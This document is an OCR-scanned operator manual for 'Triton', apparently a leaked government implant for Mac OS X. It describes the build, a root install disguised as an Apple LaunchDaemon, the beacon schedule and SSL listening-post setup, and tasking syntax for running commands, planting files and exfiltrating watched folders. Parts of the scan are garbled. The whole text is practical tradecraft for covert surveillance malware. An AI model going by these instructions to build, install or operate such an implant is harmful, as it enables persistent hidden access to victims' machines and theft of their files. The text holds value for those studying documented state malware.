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Triton 1.3 User Guide 

DESCRIPTION 

Triton is an automated implant for Mac OS X. For information about the diskless, 
EFI-persistent version of Triton called Der Starke, see the Der Starke 1.3 Companion User 
Guide. 

SYSTEM REQUIREMENTS 

• Supported Build/Postprocessing Systems 

♦ Mac OS X 10.7 or 10.8 + Ixml 

♦ Linux with Python-2.7 + Ixml 

• Supported Target Systems: Mac OS X 10.7 or 10.8 

• Listening Post: Tested with Apache/2.2 on Linux and OpenBSD 

BUILD INSTRUCTIONS 

1. Run triton. pz create -h. Build options and help will appear 

2. After building, a directory called TRITON-XXXX will be created; XXXX is the specified 
target ID Notable contents of the build directory: 

♦ UNCLASSIFIED/APACHE_FILES/elf 32 32-bit LP CGI executable for Linux 

♦ UNCLASSIFIED/APACHE_FILES/elf 64 64-bit LP CGI executable for Linux 

♦ UNCLASSIFIED/APACHE FILES/cgi.c CGI executable source code 

♦ UNCLASSIFIED/APACHEFILES/vhost . sh LP installation helper script 

♦ UNCLASSIFIED/APACHE_FILES/XXX( . conf ) Apache vhost config file and keys 

directory 

♦ UNCLASSIFIED/TASKING/ Directory containing tasking files for 

the LP 

♦ UNCLASSIFIED/inst . sh Implant install script 

♦ UNCLASSIFIED/conf ig . last Last config generated 

♦ UNCLASSIFIED/target . cert Implant certificate 

♦ UNCLASSIFIED/lp . txt The last LP specified 

♦ UNCLASSIFIED/survey. bundle Survey bundle for use with bundles 

command 

♦ UNCLASSIFIED/error . guid An internal identifier for the implant 

used in updates 

♦ UNCLASSIFIED/error . name An internal identifier for the implant 

used in updates 

♦ CLASSIFY/ca key Certificate for decrypting payloads 

(can be classified) 

INSTALLATION INSTRUCTIONS 

• Installation options: 

♦ Execute inst.sh on the target system as root 

♦ Use Dark Mallet to cause inst.sh to be executed on the next boot 

♦ Mount the target system's disk to /Volumes- -inst . sh will install the implant on 
each valid OS X file system found in /Volumes 

• Install locations for Triton/on-disk version 

♦ /var/spool/uucpd/ 

♦ /System/Library/LaunchDaemons/com. apple . nis . ypbnd . plist 

CONFIGURATION PARAMETERS 

• ID: A number used to identify and manage the implant's files and keys 

• LP (-1): The URL of the CGI script to which the implant will beacon. The URL should 
not contain an IP address if using fully authenticated SSL 

• Beacon Interval (-b): The minimum number of seconds between beacon attempts. Random 
jitter may increase any given beacon interval by up to 33% of the specified value 
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• Check URLS (-c): A list of HTTP URLs that will be used to verify Internet connectivity 
before communication with an LP is attempted. A random URL is selected from this list 
during each beacon. It must return HTTP/200 in order for a beacon to occur 

• Exfiltration Window (-e): The combined total number of bytes to upload for watchpaths, 
dropbox and bigfile tasks 

• Hibernation Period (- d) : The number of seconds to wait before attempting any network 
activity. The implant adds the beacon interval to the hibernation period to determine 
the next date at which a beacon may be attempted 

• Task File (-t): A file containing tasks for the implant that will be retrieved from 
the LP (see TASKING below) 

• Network Injection Processes (-n): Processes into which the implant may inject it's 
networking bundle. The process list is scanned in the order specified. The first 
process found is used until it exits 

• Trigger Paths (-p): Paths that create trigger events when their contents are changed. 
User directory- relative paths must be begin with a tilde and must be quoted. Only Der 
Starke deployments can change this option. 

• Uninstall Domain (-u): A domain name that will be queried when the implant uninstalls 

• Full Authentication (-a): Indicates whether or not the implant should attempt to use 
fully authenticated SSL 

• Uninstall Period (-x): If set, the tool uninstalls after this many seconds have passed 
and it has not successfully beaconed. If not set, the tool uninstalls after 4 forced 
beacons by default 

TASKING 

Triton supports two types of tasks. Automatic tasks, are performed every time the implant 
beacons. They are stored in the LP's "a" file, which persists across beacons on the LP. Some 
automatic tasks rely on state information in the LP's "fls/s" file. Immediate tasks are 
performed only once. They are stored in the LP's "fls/i" file, which is removed by the LP 
after it's fetched the first time. Immediate task execution stops on the first error 
encountered. Here's a sample task file showing all of the supported tasks: 

####### IMMEDIATE TASKS ######## 

# GET: recursively get the specified files/folders, regardless of size 
get:/some path/here 

get:/a/file:/another file/ he re: /some/di rectory/ 

# PUT: put the source file on the target system at the specified location 

# - file will be root owned and executable by root 

# - directory containing dest file must exist 
put : /source file: /dest file 

# EXEC: execute something with the specified parameters 

# - arg 1 is the executable on target 

# - if arg2 and 3 are present, and arg 2 is "stdin" then arg3 is piped to stdin 

# - all other parameters are passed to the executable 
exec:/some/file 

exec :/ some/ file : args :mo reargs : etc 

exec: / some/ file: stdin :/ some/ stdin/ fi le: args: mo reargs 

# UNINSTALL: uninstall, optionally removing the specified files 

# - Triton will remove it's files and stop running 

# - Der Starke will set an NVRAM variable to indicate uninstall on next reboot 

# - The update bundle will also be removed 
uninstall 

uninstall: /some/ path : / some/other/ file 

# DIRWALK: recursively lists the contents of a directory, up to the specified limit 
dirwalk:/some/path : 1024 

####### AUTOMATIC TASKS ######## 

# SCRIPTS: execute the specified scripts, returning the stdout/stderr 

# - scripts are piped to stdin of /bin/bash 

# - WARNING: do not self-remove $0, it's /bin/bash !!! 

# - WARNING: execution time and output size are unbounded !!! 
scripts : /some/local/path . sh : /another/script . sh 

# BUNDLES: execute the specified bundles, returning their status/output 
bundles : /some/local/bundle. sh :/yet/anot he r/bndl 

# WATCHPATHS: chunk/download contents of specified files/folders, oldest files first 

# - exfill window is respected 

# - relative paths may be specified with tilde 
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# - empty directories are not shown in collected output 

watchpaths :/some/ remote path : /another remote/path : /yet another path/ . txt : ~/a/relative/path 

# BIGFILE: chunk/download the specified file, respecting exfil window 
big file : /some/f ile/to/chunk. dat 

# DROPBOX: chunk/download and remove files from this folder, respecting exfil window 
dropbox:/some/remote/path 

UPDATING THE IMPLANT 

• Run the new implant builder's "create" command to generate patched . brains . disk and 
patched . brains . nvram files 

• Run the old implant builder's "update" command, be sure to choose the correct update 
file for the installation: 

♦ specify patched . brains . disk with -b to update a Triton instance 

♦ specify patched . brains . nvram with -b to update a Der Starke instance 

♦ specify the old implant's target. cert and cakey with -c and -p, respectively 

• Run the old implant builder to issue a "put" command that places the update here: 
/var/spool/uucpd/uf cp 

• Each time the implant reloads, it will attempt to load an update in 
/var/spool/uucpd/uf cp 

♦ A Der Starke instance will reload approximately every 10 minutes 

♦ A Triton instance will reload every time it beacons 

• After post-processing new files from the implant, verify that the latest 
guids/guid .XXX file is different from previous versions 

BEACON SEQUENCE 

• The implant will only beacon if the following conditions are met: 

♦ The implant has been triggered at least once 

♦ The hibernation period and one interval has expired since the first trigger 

♦ The implant has not attempted to beacon for at least one interval 

♦ The implant can successfully make an HTTP GET request to one of the check URLs 

• The implant makes an HTTP(S) GET request to the LP and downloads a the a, i, c and s 

files from the LP, if any are present 

• The implant decrypts, decompresses, then executes the payload 

♦ If no a, i, c, or s files were present on the LP, the payload is considered 
invalid 

♦ If the payload was valid, the beacon will be considered successful, resetting 
the internal error count 

• The implant compresses and encrypts resulting collection 

• The implant compresses and encrypts some state information for itself 

• The implant uploads the collection and state information back to the LP with a single 
HTTP ( S ) POST 

• The LP saves the uploaded data into the fls folder and optionally creates an "s" file 
from the state information provided. This state information will be available for the 
implant to download upon subsequent beacons 

• Other factors: 

♦ If an implant hasn't had a successful beacon in 3 months, it will perform a 
forced beacon the next time it's triggered. During a forced beacon a check URL 
is not consulted before contacting the LP 

♦ The implant will uninstall on its 4th consecutive failed forced beacon. With 
regular triggering, this happens after approximately 12 months. Without regular 
triggering, it may take longer 

POST PROCESSING 

Run postproc.pz -h, for instructions. The following files/folders will be created in the 
specified output directory: 

• dir listings/ dirwalk task results, named by processing date 

• bundles/ bundle task output, named by processing date 

• scripts/ script task output, named by processing date 

• files/ get, bigfile and watchpaths files. Completed files suffixed 

with modification date timestamp 

• dropbox/ dropbox files. Completed files suffixed with modification 

date timestamp 

• tasks/task. log .XXX a log of completed tasks for the beacon, suffixed by 

postproccessing date 

• guids/guid .XXX GUID of the implant that uploaded the results, suffixed by 

postprocessing date 
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TRITON INSTALLER STATUS CODES 

The Triton installer outputs a status code with the string "XXXXX:" followed by a number: 

• 0: Install Success 

• 5: Install failed (internal error) 

• 6: Install failed because the install script was not run by the root user 

• 7: Install failed because the running system was not Lion or Mountain Lion 

LP GUIDE 

Here's what a typical Apache setup will look like: 

• An LP configured for SSL should have the following files in it's vhost configuration 
directory: 

♦ some . domain . conf (required for SSL) Vhost configuration file for 

the LP 

♦ some . domain/cacert . pern (required for SSL) The Certificate Authority file 

♦ some . domain/cert . pern (required for SSL) The LP's certificate 

♦ some. domain/privkey. pern (required for SSL) The LP's private keyaO" 

• A typical Apache setup should have the following directives enabled: 

♦ Listen A.B.C.D:443 The IP address and port upon which the Apache 

server will listen 

♦ NameVirtualHost A.B.C.D:443. . . .The IP address and port to which Apache should 
apply Name Virtual Host rules. Should match the Listen directive above 

♦ Include YYYY /.conf The directory where apache expects to find vhost 

con fig files 

♦ Group XXXX The group under which the apache process executes 

♦ SSL (required for SSL) SSL options, usually in 

modssl . conf 

♦ SSLStrictSNIVHostCheck on (required for SSL) Only enable if multiple SSL 

vhosts share a single IP address 

• The LP can be configured manually, or by using the supplied vhost. sh script: 

♦ Identify a location to put the LP's web root (htdocs directory) 

♦ Identify the Apache user/group from httpd.conf 

♦ Identify the IP address/port that Apache uses for SSL (the 
Listen/NameVirtualHost directives above) 

♦ Identify the Apache vhost configuration directory, as noted above 

♦ Identify the Apache logs directory from httpd.conf ( ErrorLog . . . ) 

♦ Note the domain name of the LP, as specified to the builder 

♦ copy the implant's APACHEFILFS directory to a temporary directory on the LP 

♦ chmod 755 APACHEFILES/vhost . sh 

♦ edit the APACHEFILFS/ some . domain . conf file so that matches the IP address/port 
above 

♦ execute the vhost. sh script with no arguments to see it's help output 

♦ execute the vhost. sh script with the information/arguments identified above 

♦ restart Apache, check the Apache logs for errors 

♦ test the LP by using curl on another system: curl --cert target. cert --cacert 
cacert.pem --key target . privkey LPURL 

♦ check the Apache logs for errorsaD" 

• The LP's web root should contain the following files: 

♦ / (required) Root web directory. Apache must have 

read/execute permissions 

♦ /a (optional) Encrypted automatic task file. Apache must 

have read/execute permissions 

♦ /c (optional) Encrypted config file 

♦ /fls/ (required) Upload directory. Apache must have 

read/write/execute/unlink permissions 

♦ /fls/s (optional) Encrypted state file created by LP. Apache 

must have read/write permissions 

♦ /fls/i (optional) Encrypted immediate task file. Apache must 

have read/unlink permissions 

♦ /fls/*. up (optional) Uploaded data. Apache must have write/unlink 

permissions 



